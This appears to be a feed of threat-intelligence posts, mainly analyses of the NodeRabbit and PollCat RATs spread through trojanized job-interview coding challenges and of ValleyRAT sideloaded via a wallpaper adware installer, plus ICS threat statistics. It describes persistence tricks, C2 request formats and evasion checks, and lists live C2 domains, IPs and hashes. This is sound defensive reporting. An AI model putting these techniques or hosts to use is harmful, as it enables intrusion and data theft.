| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType
| order by Timestamp desc

MITRE ATT&CK techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Indicators of compromise (IOC)

References

Prior reporting and OSINT sources — Silver Fox (also known as Yinhu, 银狐)

• TweetFeed community indicator feed — weekly IOC export
• AlienVault OTX pulse — campaign delivery infrastructure and C2 indicators
• MalwareBazaar — campaign payload sample (aea879a0…)
• MalwareBazaar — campaign payload sample (6dacf281…)
• LGSRC public indicator repository

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog.

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

README file for a trojanized coding challenge app

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

Rules and time limit included in the trojanized coding challenge app README file

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

README instructions and challenge overview included in the trojanized React coding project

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

Learn how the Spring Ring campaign abuses Microsoft Teams and voice phishing to deploy malware and target enterprise domain controllers.

The post Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams appeared first on Unit 42.

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

Disabling Windows Defender

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

Example of an exported function

Loading functions from the original libcef.dll

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

The RunDLL function

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

Checking for administrator privileges

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Relaunching the process to obtain administrator privileges

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

Validating the PE file headers after decryption

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

Calling DllMain

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

Obfuscated configuration

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Parsing the configuration

Some of the configuration fields are listed below:

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

Capturing clipboard data

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

Window name checks

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Snippet of the command handler

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

The DownloadPeFile function is responsible for downloading a PE file

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

Implementation of the process hollowing technique

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Calling DllMain after the backdoor loads the PE file

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.

Percentage of ICS computers on which malicious objects were blocked, Q3 2023–Q2 2026

Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.

Regions ranked by percentage of attacked ICS computers

The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).

East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.

Selected industries

The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.

Industries ranked by percentage of ICS computers on which malicious objects were blocked

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.

In all selected industries, the global average follows a downward trend.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.

Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

Denylisted internet resources

In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.

The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

Malicious documents (MSOffice + PDF)

Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).

Spyware

Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.

Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

